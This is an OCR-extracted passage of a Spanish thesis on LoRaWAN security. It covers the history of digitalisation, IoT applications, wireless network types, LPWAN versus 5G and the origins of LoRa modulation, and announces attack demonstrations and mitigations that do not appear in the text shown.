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Resumen

Nos encontramos inmersos en la era de la interconexion de todo tipo de maquinas y dispositivos a través de
Internet, desde dispositivos electronicos asentados en la sociedad como los ordenadores y teléfonos moviles,
hasta electrodomésticos, sensores y un largo etcétera de objetos cotidianos. Este avance gracias a tecnologias
como el Big Data, la Inteligencia Artificial y el Internet de las Cosas (IoT) han supuesto una nueva revolucion
industrial y han dado pie al nacimiento de las ciudades inteligentes (Smart Cities).

Las redes inalambricas han solventado la principal limitacion de las redes cableadas, mantener la
comunicacion durante un desplazamiento geografico, y han supuesto una reduccion significativa de costes de
produccion de dispositivos y de mantenimiento de infraestructuras. Por estos motivos, el IoT se sostiene sobre
este tipo de redes para su objetivo de intercomunicar millones de dispositivos por todo el mundo que generan
un enorme volumen de datos en tiempo real.

Dentro de estas redes inalambricas, LPWAN consigue transmitir datos dentro de areas amplias con la ventaja
de gastar poca potencia, por lo que los dispositivos pueden alimentarse por baterias durante largos periodos de
tiempo. En general, los dispositivos IoT utilizan este tipo de redes para sus proyectos. Hoy en dia, el protocolo
de comunicacion LPWAN mas popular en el mercado y con una mayor comunidad que lo respalda es
LoRaWAN.

Con este proyecto se pretende definir el protocolo LoORaWAN vy recrear escenarios que muestren algunas de
las vulnerabilidades y ataques presentes en la version 1.0.2 de este protocolo. Se discutiran las medidas de
deteccion y/o proteccion para mitigar los incidentes de seguridad. Para la demostracion de las pruebas se va a
utilizar hardware LoRaWAN y un framework de auditorias llamado LAF (LoRaWAN Auditing Framework).
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Abstract

We are immersed in the era of the interconnection of all kinds of machines and devices through the Internet,
from electronic devices established in society such as computers and mobile phones, to household appliances,
sensors and a long list of everyday objects. This advance thanks to technologies such as Big Data, Artificial
Intelligence and the Internet of Things (IoT) have led to a new industrial revolution and have given rise to the
birth of Smart Cities.

Wireless networks have solved the main limitation of wired networks, maintaining communication during
geographical displacement, and have led to a significant reduction in device production and infrastructure
maintenance costs. For these reasons, the IoT is based on this type of network for its goal of
intercommunicating millions of devices around the world that generate a huge volume of data in real time.

Within these wireless networks, LPWAN manages to transmit data within wide areas with the advantage of
using little power, so devices can be powered by batteries for long periods of time. In general, IoT devices use
this type of networks for their projects. Today, the most popular LPWAN communication protocol on the
market and with the largest community supporting it is LoRaWAN.

This project aims to define the LoRaWAN protocol and recreate scenarios that show some of the
vulnerabilities and attacks present in version 1.0.2 of this protocol. Detection and/or protection measures to
mitigate security incidents will be discussed. For the demonstration of the tests, LoRaWAN hardware and an
auditing framework called LAF (LoRaWAN Auditing Framework) will be used.
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1 INTRODUCCION

del total de dispositivos repartidos por el mundo. En el afio 2020 se alcanzo un hito historico donde los
dispositivos [oT superaron al resto de dispositivos con un 54.2% y una cantidad aproximada de 11.7
billones de dispositivos. Para el afio 2025 se estiman 31 billones de dispositivos [oT alcanzando el 75%. [1]

S egun las ultimas estadisticas, en el afio 2010 existian 0.8 billones de dispositivos IoT que suponian el 9%

Esta tendencia alcista en el desarrollo e inversién de las nuevas tecnologias que giran en torno al IoT es
consecuencia directa de los beneficios y mejoras que suponen estos dispositivos e infraestructuras en todos los
sectores economicos. Desde dispositivos disefiados para sistemas de regadio en el sector primario, pasando por
el uso del IoT para optimizar las cadenas de suministro en el sector secundario, hasta llegar al sector servicios
donde encontramos ejemplos como los asistentes de mesas en restaurantes.

Estas tecnologias también destacan por las caracteristicas técnicas que permiten la interconexion de millones
de dispositivos de forma inaldmbrica alrededor del mundo con una gran eficiencia energética. Las ciudades y
organismos estan apostando por la implementacion del IoT para optimizar los servicios cotidianos con el fin de
mejorar la calidad de vida de los ciudadanos. A estas ciudades se les acufia el nombre de Smart Cities.
Actualmente, en 2022, el niimero de ciudades que cuentan con esta categoria crece progresivamente
alcanzando mas de 700 ciudades de 140 paises en todo el mundo. [2]

Existen multitud de tecnologias y redes que son utilizadas en el IoT para que los dispositivos puedan
conectarse entre ellos e intercambiar informacion, sin embargo, en la actualidad se estd observando una
proliferacion del uso de las redes inalambricas LPWAN por sus dos principales caracteristicas: intercambiar
datos a grandes distancias y su bajo consumo de potencia en la transmision. A su vez, dentro de los protocolos
de comunicacion de red de LPWAN, LoRaWAN sigue desarrollandose y extendiéndose, cuya comunidad
trabaja para convertirlo en el estandar de interoperabilidad de LPWAN. [3]

Como cualquier tecnologia, LoORaWAN se disefia con mecanismos de seguridad para velar por los principios
de la seguridad de la informacion: confidencialidad, integridad y disponibilidad. En este documento se
pretende analizar los mecanismos de seguridad de LoRaWAN, representar escenarios de ataques que muestren
fallos de seguridad presentes en este protocolo y discutir posibles contramedidas.
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1.1 Introduccion

Este apartado estd dedicado a la evolucion de la digitalizacion para comprender hacia donde se dirige la
tecnologia. Se concluira presentando los sectores donde destaca el uso de estos dispositivos: Industria 4.0,
domotica y Smart Cities.

1.1.1  Origen de la digitalizacion: La Revolucién Digital

Entre los anos 1950 y 1970, las tecnologias analdgicas, mecanicas y electronicas vivieron un punto de
inflexion en su historia con la llegada de la tecnologia digital. A este periodo se le acufian diversos nombres,
entre ellos el mas extendido y consolidado es “La Revolucion Digital”.

La Revolucion Digital surgié a partir de la necesidad de apoyar, o incluso sustituir, los procedimientos
mecanicos y analdgicos rudimentarios por los beneficios de los avances en la computacion y en las tecnologias
de comunicacion que se estaban gestando desde mediados de los afios 30. [4]

En el sector de la tecnologia de comunicacion, y una década mas tarde de la tesis de Turing, uno de los
principales precursores de La Revolucion Digital fue el articulo “A Mathematical Theory of Communication”
publicado por Bell System Technical Journal en 1948. Escrito por el matematico Claude Elwood Shannon,
este articulo planted el primer modelo Fuente — Transmisor — Canal/Medio expuesto a ruido — Receptor —
Destino que acabo convirtiéndose en el origen de la teoria de la informacion, definida como la ciencia que
estudia el almacenamiento, cuantificacion y comunicacion de la informacion digital. [5]

La electronica también jugd un papel fundamental en La Revolucion Digital con el desarrollo de los
dispositivos semiconductores como el primer transistor en 1947 que supuso una gran mejora sobre los equipos
digitales de la época, y el nacimiento en los afios 60 de los transistores MOS 6 MOSFET (metal-oxide-
semiconductor field-effect transistor). [6]

Figura 1. Cronologia de la Revolucion Digital



1.1.2 Evolucion de Internet

Pasada esta transicion digital, en 1969 la compaiiia BBN Technologies desarrollo ARPANET (Advanced
Research Projects Agency Network) [7], la primera red de computadoras, para el Departamento de Defensa de
los Estados Unidos. A raiz del Desarrollo de ARPANET, no tardaron en llegar los primeros protocolos de
comunicacion, el primer correo electronico (1971), se publican los protocolos FTP (RFC114), TCP/IP
(RFC791/RFC793, 1981), etc. Finalmente, TCP /IP se consolida como el conjunto de protocolos de
comunicacion en ARPANET hasta su fin en 1990. [8]

El éxito de ARPANET junto con el nacimiento de otras redes de conmutacion de paquetes y la proliferacion
de los ordenadores personales, se convirtieron en los precursores de lo que hoy en dia conocemos como
Internet. En la década de los 90 uno de los grandes hitos fue la World Wide Web (WWW) [9] que trajo
consigo los lenguajes de programacion de marcas como HTML (HyperText Markup Language), protocolos
como HTTP (Hypertext Transfer Protocol, RFC2616) y los navegadores web.

A partir de la década de los 2000, se desarrollan y popularizan las redes inalambricas que, en 2010, marcaron
un punto de inflexion con la creacion de los primeros dispositivos 10T (Internet Of Things) [10] que no dejan
de expandirse hasta nuestros dias.

WWW

Figura 2. Logo de la World Wide Web

1.1.21 Estadisticas

Este incremento del uso de dispositivos digitales y de tecnologias como Internet se ve reflejado en multitud de
estadisticas donde todas ellas parecen mostrar que esta tendencia aumenta en el tiempo. A continuacion, se
muestran algunos ejemplos de estas estadisticas [11]:

e Seestiman 1.830 millones de paginas web durante 2022.

e Los 5 paises con mas usuarios que utilizan dispositivos méviles superan el 66% de la poblacion de su
pais. Los 10 primeros paises superan el 50%.

e En enero de 2022 se contabilizaron mas de 4.8 mil millones de usuarios conectados a Internet.

e En 2015, en Estados Unidos, se super6 el volumen de trafico de los ordenadores de sobremesa por el
trafico de los teléfonos moviles.

e El mercado de las VPN pas6 de 15.640 millones de dolares en el afio 2016 a 35.730 millones de
dolares en 2022.

e Los comercios online han experimentado un incremento de 5.206 billones de dolares desde el afio
2014, esto supone un aumento del 489%.

e Se estiman mas de 75 billones de dispositivos IoT en el mundo para el afio 2025.
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1.1.3 Internet of Things (loT)

En 1982 surge la primera maquina convencional conectada a Internet. Consistia en una maquina expendedora
de refrescos que, mediante sensores, media la temperatura de los productos y contabilizaba las unidades de las
que disponia. Pero no fue hasta 2009 cuando Kevin Ashton [12] popularizo el término del Internet de las
Cosas asegurando que revolucionaria el mundo de las telecomunicaciones mas alla de lo que consiguid
Internet.

Se puede definir [13] el IoT, (“Internet of Things”) como la agrupacion e interconexion de dispositivos y
objetos a través de una red, publica o privada, donde todos ellos podrian ser visibles e interaccionar. Estos
dispositivos podrian ser cualquier objeto o sensor fisicos.

Estas tecnologias digitales permiten una mayor automatizacion, comportamiento predictivo y un nuevo nivel
de eficiencia y capacidad de respuesta.

Figura 4. Ecosistema loT



1.1.3.1  Aplicaciones

Algunos ejemplos de aplicaciones de estos dispositivos [oT son [14]:

e Para consumo: dispositivos orientados a la poblacion como electrodomésticos, vehiculos de
transporte, entretenimiento o la domética (hogares inteligentes).

e Agricultura: se requiere el uso de sensores de luz, humedad o temperatura para optimizar las
condiciones de los cultivos.

o Infraestructuras urbanas: puentes, vias de tren o parques de energias renovables necesitan estos
dispositivos para tener visibilidad de cambios en las condiciones de las infraestructuras.

Figura 5. Sistema de riego automatico IoT

e Medicina y salud: ejemplos como marcapasos, dispositivos para discapacidades auditivas y otros
implantes estan siendo conectados a Internet para monitorizar en tiempo real el estado de los
pacientes.

e Transporte: usados en la logistica, la geolocalizacion de los vehiculos y en el cobro electronico.

e Energia: los dispositivos IoT son utilizados para el proceso fisico de la energia (consumo, transporte,
etc) la medicion mediante sensores y en los procesos de toma de decisiones y de actuacion.

Figura 6. Dispositivo IoT para monitorizacion de los niveles de glucosa en personas diabéticas
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1.1.3.2

Ventajas e inconvenientes

Algunas de las ventajas que ofrece la tecnologia loT son [15]:

Interconexion de los dispositivos a través de redes publicas y privadas.
Envio de datos en tiempo real y a grandes velocidades.

Eficiencia energética de los dispositivos. En general, consumen poca potencia y suelen estar
alimentados por pilas o baterias.

Interaccion con el entorno.

En general, reducen los costes de infraestructuras y sus dispositivos.

Por otro lado, presentan algunos inconvenientes a tener en cuenta tales como:

11.3.3

Problemas de compatibilidad. Al no existir estandares, existe libertad de decision para elegir el tipo de
red y/o los protocolos que se quieren implementar. En algunos casos, dentro del mismo protocolo,
pueden existir fallos de retrocompatibilidad entre versiones, como ocurre con LoORaWAN.

Fallos de seguridad en el cifrado o en el software.

Dependencia de las organizaciones o comunidades que estan detras de estas tecnologias.

Big Data

La digitalizacion ha supuesto la interconexion de miles de millones de dispositivos por todo el mundo. Estos
dispositivos generan un volumen de datos muy grande que debe ser gestionado, almacenado y analizado.

El término Big Data [16] hace referencia a la tecnologia encargada de analizar el gran volumen de datos que
desbordan al software de procesamiento tradicional. Para solventar este problema, el Big Data sigue el
siguiente procedimiento:

L=

Recopila los datos generados por los dispositivos [oT.
Almacena estos datos en archivos dentro de la base de datos.
Analiza los datos a través de algoritmos eficientes.

Genera informes sobre los datos analizados.
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Figura 7. Retos del Big Data

En el 10T, la interconexion de miles de dispositivos y el flujo de informacion que se intercambian entre ellos
generan muchos datos en tiempo real que tienen que apoyarse en el Big Data y su tratamiento de la
informacion para ofrecer mejores servicios ante el usuario.

1.1.3.4 Inteligencia Artificial

Al igual que el Big Data, la Inteligencia Artificial (IA) y el Machine Learning se compenetran con el loT para
automatizar operaciones y procesos comerciales basados en predicciones gracias a los datos recopilados y
analizados por el Big Data.

Se puede definir la Inteligencia Artificial como un campo que combina la informatica y conjuntos de datos
solidos para permitir la resolucion de problemas. También abarca subcampos de aprendizaje automatico y
aprendizaje profundo, que se mencionan con frecuencia junto con la inteligencia artificial [17]. Estos tipos de
aprendizaje se basan en algoritmos de IA que buscan crear sistemas que hagan predicciones o clasificaciones

basadas en los datos de entrada.
Artificial
Intelllgence
MacMne
Learnlng
| |I I| I
'*. ‘ ‘ .'

| , Deep
Learning |

A\ ///

Figura 8. Tipos de aprendizaje automatico

Nos dirigimos hacia un futuro en que los objetos inteligentes detectan el entorno en que se encuentran,
interactuando no solo con los usuarios sino con otros dispositivos. Por este motivo existe una sinergia entre el
10T, el Big Data y la Inteligencia Artificial.
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1.1.4 Nuevos escenarios y casos de uso

En este apartado se van a comentar los principales sectores que han surgido o han sufrido un cambio radical a
raiz de la llegada del IoT: Industria 4.0, hogares inteligentes (domética) y las ciudades inteligentes (Smart
Cities).

11.41 Industria 4.0

La transformacion de industrias y empresas de todos los sectores y campos profesionales se ha ido
desarrollando a medida que las tecnologias digitales evolucionan. Este cambio en las técnicas de produccion y
operaciones utilizando tecnologias inteligentes que se integran en las organizaciones, las personas y los
activos, es lo que se conoce como Industria 4.0. [18]

Esta nueva revolucion industrial esta marcada por la aparicion de nuevas tecnologias como la robotica, la
inteligencia artificial, las tecnologias cognitivas, la nanotecnologia y el IoT, entre otros.
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Figura 9. Tecnologias usadas por la Industria 4.0

11.4.2 Domoética

El creciente desarrollo de la tecnologia, el Internet de las Cosas y su aplicacion a diferentes ambitos han
supuesto una revolucion para la sociedad. La domética consiste [19] en el uso de dispositivos IoT para la
dotacion de inteligencia a objetos cotidianos y la automatizacion de procesos en viviendas y edificios.

Los principales beneficios que aporta la domética a la poblacion son:

e  Ahorro energético.

e Seguridad a través de videovigilancia y alarmas.
e Viviendas mas confortables.

e Accesibilidad.

e Comunicaciones en tiempo real.



Figura 10. Hogares inteligentes (Domdtica)

11.4.3 Smart Cities

Una Smart City o ciudad inteligente es aquella ciudad capaz de utilizar la tecnologia de la informacion y
comunicacion con el objetivo de crear mejores infraestructuras para los ciudadanos. En definitiva, es la
combinacién de tecnologia, personas y creatividad para hacer mas sostenible y eficiente a cualquier ciudad del
mundo. [20]

Las Smart Cities tienen como objetivo construir ciudades con valores afiadidos tales como:

o Inclusion y accesibilidad de los ciudadanos.

e Megjorar la distribucién de recursos a través de sistemas de ahorro energético, de alumbrado o
distribucion del agua.

e Transparencia en la administracién haciendo publica la informacion.

Los siguientes dispositivos e infraestructuras son ejemplos que se pueden encontrar en una ciudad que sea
considerada como Smart City:

e Sistemas de alumbrado publico inteligentes.

e Gestion del trafico de la ciudad mediante un sistema inteligente.
e Redes Wi-Fi en todo el municipio.

e Red de transporte.

e  Gestion de residuos.

En la siguiente imagen se muestran las 4 capas sobre las que se sostienen las ciudades inteligentes [21]:
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Figura 11. Capas de las Smart Cities

La capa inferior consistiria en la capa de recoleccién de datos de todos los dispositivos que transmiten
informacion, donde mayoritariamente se encuentran dispositivos IoT.

La siguiente capa seria la de comunicacion entre los dispositivos. Aqui se encuentran las distintas posibilidades
de acceso a la red dependiendo de las tecnologias que utilicen los dispositivos.

En la tercera capa se encuentran los sistemas de gestion de red, de seguridad y de procesamiento de los datos.

Por ultimo, la capa de aplicacion es la encargada de valorar los datos que han sido procesados y analizados
para asi mejorar los servicios de las ciudades tales como los suministros de agua, suministros eléctricos,
control de polucion, departamento de transporte, etc.

1.2 Motivacion

La principal motivacion de este trabajo es el estudio de las nuevas tecnologias de comunicacion inalambrica
que cuentan con vulnerabilidades que pueden ser explotadas. Al ser tecnologias utilizadas en proyectos de [oT
por todo el mundo, las consecuencias de la explotacion de estas vulnerabilidades tienen un impacto directo
sobre la poblacion y el entorno, ademas de estar presentes en millones de dispositivos. [22]

Como se ha tratado en la introduccion de este documento, la rapida expansion de estos dispositivos conectados
a Internet y las innumerables aplicaciones que tienen en la industria, hogares, transportes, salud, etc. estan
suponiendo grandes avances para los sectores econdmicos y para la sociedad. Velar por la seguridad de estos
dispositivos y redes deberia ser una prioridad.

Para este trabajo, se van a recrear escenarios de ataque sobre dos de las principales vulnerabilidades de la
tecnologia LoRaW AN para mostrar los riesgos a los que se enfrentan estas redes LoRaWAN. Otro aspecto de
la motivacion de este trabajo es proponer mecanismos de deteccion de estos ataques para mitigar, en la medida
de lo posible, los incidentes de seguridad.

1.3 Objetivos

Los principales objetivos que se desean alcanzar con este proyecto son:



e Hacer un escenario que permita recrear los ataques mas significativos de LoRaWAN.
e Demostrador para la deteccion de dichos ataques.

e Proponer mecanismos de mitigacion para solventar las vulnerabilidades.

1.4 Estructura de la memoria

La memoria se ha estructurado en los apartados que se mencionan a continuacion, donde se explica
brevemente de qué trata cada uno.

e Introduccién: se pone en contexto este proyecto y se explican los objetivos que se desean alcanzar.

o Estado de la Tecnologia: se tratan las caracteristicas fundamentales de las redes inalambricas y sus
distintos tipos, en especial se estudiaran las redes LPWAN. A continuacién, se describira la
modulacion LoRa y el protocolo de comunicacion LoRaWAN. Se concluye este capitulo con los
mecanismos de seguridad de estas redes y sus principales vulnerabilidades.

e Demostrador de ataques y vulnerabilidades en redes LoRaWAN: este apartado esta dedicado a la
instalacion y configuracion del escenario LoRaWAN. Sobre este entorno se demostraran dos ataques
presentes en la version 1.0.2 de LoRaWAN.

e Deteccion de ataques y mitigaciones para LoRaWAN: apartado dedicado a valorar las formas de
detectar y/o evitar los ataques demostrados en el apartado anterior.

e Conclusiones y lineas de mejora: se presentan las conclusiones acerca del uso de LoRaWAN vy las
medidas que se deben aplicar para prevenir y/o detectar incidentes de seguridad en la red. Finalmente,
se discutiran posibles lineas de mejora.
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2 ESTADO DE LA TECNOLOGIA

de los dispositivos IoT, este apartado esta dedicado a las redes inaldmbricas y sus distintos tipos. Se
desarrollara con una mayor profundidad las redes WWAN para realizar una comparacion con las
redes LPWAN vy, finalmente, se tratara el protocolo LoRaWAN y las vulnerabilidades de esta tecnologia.

Una vez tratado el contexto historico de la digitalizacion hasta nuestra actualidad y los casos de uso

2.1 Redes Inalambricas

Las redes inalambricas se definen [23] como aquellas redes capaces de intercomunicar nodos por medio de
ondas electromagnéticas sin la necesidad de un canal fisico que transporte los datos entre los dispositivos
(cables coaxiales, par trenzado, fibra optica, etc).

Desde los afios 70 hasta los 2000, se desarrollaron muchos de los principales elementos que conforman las
redes inalambricas: transceivers (dispositivos que cuentan con un transmisor y un receptor), estaciones base de
radio, routers, amplificadores de potencia, etc. [24] Estos avances en la tecnologia hardware y la necesidad de
realizar labores que requieren desplazamientos geograficos en los entornos industriales y empresariales,
propiciaron la idea de utilizar otro tipo de redes que no requieran de cables para la interconexion de los
dispositivos.

Ademds de la ventaja de poder intercambiar datos entre dispositivos sin conexiones fisicas, estas redes
suponen un menor coste de infraestructura y de mantenimiento. Sin embargo, la efectividad de estas redes
depende en gran medida de los obstaculos que se encuentren entre los dispositivos, interferencias, un ancho de
banda limitado, etc

~—
“

Figura 12. Logo representativo de las redes inaldmbricas



En base a la cobertura, esto es, el area geografica donde es posible establecer comunicaciones entre
dispositivos o donde se encuentra disponible un servicio, las redes inalambricas pueden distinguirse en varios
tipos, que son [25]:

WAN

IEE 802.20
mobile WIMAX
(< 150 Km.)

Figura 13. Tipos de redes inalambricas

211 Tecnologias de radiofrecuencia o Tecnologias inalambricas de proximidad

Son dispositivos, generalmente utilizados en el sector industrial, para facilitar la logistica, inventariado de
productos, etc. Estos dispositivos cuentan con un chip RFID (“Radio-frequency identification™) [26] que
generan un campo electromagnético cuando dos dispositivos RFID se aproximan entre ellos.

Los sistemas RFID pueden ser activos o pasivos: en el caso de los activos, se necesitan dos dispositivos RFID
para el intercambio de datos; en cambio, si se configuran como pasivos, solo solo necesita un chip RFID y un
lector.

La ventaja de los sistemas activos es que la comunicacion puede establecerse a mayor distancia. La ventaja de
los sistemas pasivos es que no requieren de alimentacion externa, el lector es el que genera la energia para la
lectura de los datos.

Figura 14. Ejemplo de tecnologia RFID

21.2 WPAN (Wireless Personal Area Network)

Se tratan de redes inalambricas utilizadas para propdsitos de uso personal con una cobertura desde centimetros
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hasta aproximadamente 10 metros. [27]

Algunas de las redes WPAN mas conocidas son:

o Bluetooth: utiliza ondas de radio de corto alcance. Es la tecnologia WPAN mas extendida en el
mundo y esta presente en millones de dispositivos. Generalmente su uso esta enfocado a dispositivos
cotidianos como auriculares, relojes inteligentes, etc.

Figura 15. Logo de Bluetooth

o Wibree: semejante a Bluetooth, utiliza ondas de corta distancia, pero su finalidad es ser mas eficiente
en cuanto al consumo de energia.

e ZigBee: es una tecnologia disefiada para ser menos costosa y mas eficiente que el resto de las
tecnologias WPAN, pero con aplicaciones mas cercanas a la industria y a redes IoT que necesiten baja
velocidad y corto alcance.

21.3 WLAN (Wireless Local Area Network)

Se tratan de redes inalambricas que comunican varios dispositivos ofreciendo una cobertura de corto alcance,
como una vivienda o un edificio. La cobertura dependera en gran medida de los obstaculos que existan entre
los dispositivos implicados. [28]

A diferencia de las anteriores redes, las WLAN permiten una mayor libertad de movimiento mientras se
mantiene la conexion (~ 150 metros).

El principal ejemplo de las redes WLAN debido a su presencia en el mundo y su popularidad son las basadas
en los estandares IEEE 802.11, conocidas como redes Wi-Fi (o WiF1)

™

Figura 16. Logo de Wi-Fi

214 WMAN (Wireless Metropolitan Area Network)

El término MAN se utiliza para describir la interconexion de varias redes de 4rea local en un area
metropolitana. [29] Estas redes interconectan usuarios en una region geografica del tamafio de, generalmente,
una ciudad. Estas redes, a su vez, se pueden unir para formar redes WWAN.

En esta categoria de redes inalambricas, la tecnologia mas conocida es WiMAX (“Worldwide Interoperability
for Microwave Access”), cuya arquitectura fisica se disefid para ser escalable y poder alternar entre distintas
velocidades de datos. Es por este motivo que WiMAX esta presente en muchas aplicaciones, desde acceso a
Intemet, #riple play, etc.
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Figura 17. Logo de WIMAX

21.5 WWAN (Wireless Wide Area Network)

En cuanto a la cobertura de las redes inalambricas, las redes WWAN se caracterizan fundamentalmente por
alcanzar grandes distancias garantizando la transmision de datos sin errores. [29] Este tipo de redes, debido a
la superficie geografica que son capaces de cubrir, suelen ser gestionadas y comercializadas por proveedores
de telecomunicaciones ya que estan destinadas a ofrecer sus servicios a ciudades, naciones o entre paises.

Figura 18. Antena de telecomunicacion

21.6 LPWAN (Low Power Wide Area Network)

Las redes LPWAN (“Low Power Wide Area Network” o Red de Area Amplia de Baja Potencia) son un tipo
de redes que se caracterizan por consumir una potencia menor de transmision y recepcion de datos que el resto
de las redes y alcanzar un area de cobertura de varios kilémetros. [30]

Estas redes estan siendo la opcion para elegir en el despliegue de la mayoria de los proyectos IoT actuales.
Como las caracteristicas de estas redes encajan a la perfeccion con los objetivos del 10T, las redes LPWAN
permiten instalar miles de nodos distribuidos por una gran area, reduciendo costes en infraestructuras y
alimentando los dispositivos con baterias.

Dentro de esta categoria de redes inalambricas, las tecnologias mas usadas y extendidas son [31]:

e Redes no celulares:

o LoRaWAN: es un estandar desarrollado sobre la modulacion radio LoRa. Esta tecnologia
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permite desplegar redes autogestionadas, es decir, que no dependan de operadores.
Actualmente, es la tecnologia LPWAN mas extendida en el mundo y se ha convertido en el
estandar de las redes LPWAN.

o SigFox: se trata de una tecnologia LPWAN de operador que implica que para usar la red se
debe pagar una suscripcion. Las ventajas de esta red son que el coste del despliegue y del
mantenimiento son soportados por el operador, facil uso y accesibilidad. Como desventaja es
que permite transmitir muy pocos mensajes y de pocos bytes. Fue la pionera de las redes
LPWAN, pero actualmente se encuentra en desuso.

LoRa SIGFOX

433, B63-870 868, 902
0.125, 0.250 0.0001
250-50000 bps <100 bps
250 bps-50 kbps (adaptive) 256 b/day
yes no
Scarce (narrow band B-PSK)
50 km rural; 10 km urban

Characteristics

Frequency (MHz)
Bandwidth (MHz)
DataRate Upload
DataRate Download
Duplex
Interference tolerance
C(J\'L‘rﬂ)_"i_' ra ngL’

Good (spread spectrum)
1545 flat, 15-22 suburban, 3-8 urban

Specs /Standard LoRaWAN SIGFOX
Transmission power 14 dBm 10 pW=-100mW
Licensed /unlicensed band unlicensed unlicensed
Standard & commercial products Available Proprietary

Figura 19. Comparacion técnica entre LoRa y SigFox

e Redes celulares:

o NB-IoT: al igual que SigFox, se trata de una tecnologia LPWAN de operador, pero con un
despliegue mucho menor de redes por el mundo y no tan accesibles. Estas redes son ofrecidas
por los mismos operadores que ofrecen servicios de telefonia movil.

o LTE-M.: utiliza las propias antenas de telefonia LTE y cuenta con un ancho de banda superior
al resto. También destaca por tener una velocidad de transmision de 1 Mbps y por utilizar
servicios de movilidad para que los dispositivos puedan seguir comunicados en movimiento.

Ancho de banda

Velocidad maxima de datos
Velocidad de bajada / subida
Latencia

Duracién de la bateria
Consumo de energia

Coste por modulo
Despliegue de frecuencia
Penetracién en interiores

Voz

NB-10T
180 KHz
3GPP Licensed

<100

272/ 62.5 Kbps
(DL/ UL)

1.5-10 seg.

+10 anos (segun el
caso de uso)
Mejor a velocidad
de datos bajas

5-10 dolares
Flexible

Excelente

No

LTE-M
1.4 MHz
3 GPP Licensed

384 Kbps
Hasta 1 Mbps

50 -100 ms.

10 afos (segun el
caso de uso)
Mejor a velocidad de
datos media

10 - 15 dolares
En banda LTE
Buena

Si. VoLTE

Figura 20. Comparacion técnica entre NB-IoT y LTE-M

Las redes inalambricas se basan en tres ejes: consumo energético, alcance y capacidad de trasmision (data
rate). La realidad de estas redes es que sacrifican uno de los pilares. Por ejemplo, la tecnologia 4G, tiene un
gran alcance y data rate, pero la transmision consume mucha energia. En cambio, Bluetooth consume muy
poca energia, tiene un buen data rate, pero la distancia de cobertura es muy reducida.

En la siguiente imagen [31] se comparan estas caracteristicas entre otras como el coste de mantenimiento,
accesibilidad, etc.:
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Optimizacion energética

Accesibilidad Distancia con Antena
Costes de mantenimiento Frecuencia de comunicacion
Interoperabilidad Autogestion

Data Rate

Figura 21. Comparacion de redes inalambricas sobre consumo energético, alcance y data rate

Se observa que LoRaWAN destaca en varias de estas caracteristicas como la distancia entre nodos y gateways
y la optimizacion energética, pero, por el contrario, su data rate es muy inferior al de tecnologias como 4G o
WiFi.

21.7 Comparativa con 5G

El 5@, la evolucion de 4G/LTE, es la quinta generacion de la telefonia celular que permite a los dispositivos
moviles acceder a redes de datos como Internet.

Esta nueva generacion puede distinguirse entre tecnologias SG NSA (Non Stand Alone) y las tecnologias 5G
SA (Stand Alone). [33]

e NSA: también llamado 5G no auténomo, utiliza la infraestructura ya existente en las redes 4G/LTE a
la que incorpora los protocolos de comunicacion especificos de 5G para la conexion de estos
dispositivos. Es considerado como el 5G “no real” al no ofrecer el maximo de las prestaciones, como
la velocidad de transferencia, que se pretenden alcanzar en esta generacion.

e SA: esta arquitectura si supone un cambio de infraestructuras respecto a la generacion anterior con
torres de celdas de menor alcance pero que permiten conexiones con menos latencia y mayor
velocidad de transferencia. Esta arquitectura es denominada 5G NR (5G New Radio).
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Figura 22. Comparacion entre 5G NSA y 5G SA

En la siguiente imagen se muestra una comparacion entre 4G y las dos tecnologias 5G [34]:

4G 5GNSA 5G SA

VELOCIDAD MAXIMA Hasta1Gbps Hasta 2 Gbps Al menos 20 Gbps

TEORICADE

DESCARGA

VELOCIDAD MAXIMA Hasta 150 Mbps Hasta 150 Mbps No definido

TEORICA DE SUBIDA

LATENCIA Alrededor de 30 ms Alrededor de15 ms Alrededorde 1ms

EN MOVILIDAD, Hasta 200 Km/h Hasta 500 Km/h Hasta 500 Km/h

VELOCIDAD ALA QUE

SE PUEDE APLICAR

Qos

DENSIDAD Hasta100.000 por km2 Hasta 1 millon por km2 Hasta 1 millén por km2

DISPOSITIVOS

CONECTADOS

ESPECTRO Banda 800 MHz: 60 MHz FDD Banda 700 MHz: pendiente de Banda 700 MHz: pendiente de
Banda 2,6 Ghz:120 MHz FDD + 50 subasta subasta
MHz TDD Banda 3,7 Ghz: 360 MHz TDD Banda 3,7 Ghz: 360 MHz TDD

INFRAESTRUCTURA Arquitectura EPC, radio LTE Arquitectura EPC, radio LTE/NR Arquitectura 5GNR con core

basado en software de red

Figura 23. Comparacion entre 4G+, 5G NSA y 5G SA

En cuanto al papel del 5G en el IoT [35] resulta ser una buena opcién para proyectos donde se requiera un
transporte de grandes cantidades de datos y en tiempo real. El factor del envio/recepcion de informacion en
tiempo real es una de las grandes diferencias respecto a los proyectos loT que utilizan redes como LoRaWAN.
Estos proyectos, por las bandas de frecuencia que utilizan, tienen restricciones sobre el nimero maximo de
transmisiones y uso del espectro, es por esto por lo que estas redes encajan en proyectos que requieran
transmisiones de pequenas cantidades de datos en intervalos de tiempo.

Otro factor sobre la decision de implementar una tecnologia u otra son los costes y la autogestion. Las
tecnologias 5G estan presentes en areas con una gran densidad de poblacion y son redes que pertenecen a un
operador. En cambio, es precisamente en las zonas donde no llega el 5G, como zonas rurales, pequefios
municipios y otras areas remotas, donde las tecnologias LPWAN adquieren mayor protagonismo por su uso de
baterias, bajo coste y autogestion de la red sin depender de operadores. [36]



2.2 LoRaWAN

En los proximos subapartados se van a desarrollar las caracteristicas principales de la tecnologia LoRaW AN,

2.21 Modulacion LoRa

Entre los afios 2009 y 2010, tres cientificos franceses comienzan el desarrollo de una tecnologia de baja
potencia y de largo alcance para establecer comunicaciones inalambricas entre sensores. [37] Comienzan
utilizando la modulacion CSS (Chirp Spread Spectrum) que ya se encontraba presente en el radar de los
aviones y en el sonar de los barcos. En 2012, ya habiendo consolidado la modulacion CSS para sus fines
comerciales y demostrados sus beneficios, finalizan el desarrollo de los primeros chips para dispositivos
finales y pasarelas.

Paralelamente, definen el protocolo propietario LoRaMAC que especifica los mensajes de red y los
mecanismos de seguridad de ésta. En este mismo afio, la empresa Semtech para impulsar el desarrollo y la
expansion de la nueva modulacion, LoRa (“Long Range”). Finalmente, y hasta nuestros dias, en el afio 2015
se funda LoRa Alliance®, una agrupacion sin animo de lucro formada por empresas repartidas por todo el
mundo, que se responsabiliza del mantenimiento y desarrollo del protocolo LoRaMAC al que cambian el
nombre por LoORaWAN.

La finalidad de LoRa Alliance® es convertir a LoORaWAN en el estandar de interoperabilidad de dispositivos
finales de las redes LPWAN.

